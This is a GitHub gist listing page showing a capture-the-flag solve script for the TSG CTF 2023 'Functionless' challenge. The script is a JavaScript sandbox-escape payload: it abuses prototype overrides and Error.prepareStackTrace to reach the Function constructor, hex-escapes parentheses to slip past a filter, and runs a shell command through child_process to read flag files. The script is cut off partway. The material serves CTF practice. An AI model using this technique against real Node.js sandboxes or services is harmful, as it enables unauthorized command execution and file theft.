Skip to content

Instantly share code, notes, and snippets.

View n4o847's full-sized avatar
💭
hey hey it's like like popcorn

Yuya Miura n4o847

💭
hey hey it's like like popcorn
View GitHub Profile
@arkark
arkark / README.md
Last active November 5, 2023 12:08
TSG CTF 2023 - misc/Functionless
@lebr0nli
lebr0nli / solve.js
Last active November 6, 2023 14:08
TSG CTF 2023 - Functionless (Misc)
let code = `
Function=this.constructor.constructor;
Array.prototype.toString=Object.prototype.toString;
Array.prototype[Symbol.toStringTag]="=1];console.log(process.mainModule.constructor._load('child_process').execSync('cat f*')+'');//";
Object.prototype.prepareStackTrace=Function;
e=new Error;
x={toString:e.stack}+'';
`.replaceAll('\n', '').replaceAll('(', '\\x28').replaceAll(')', '\\x29');
console.log(code);
if (process.env.DEBUG) {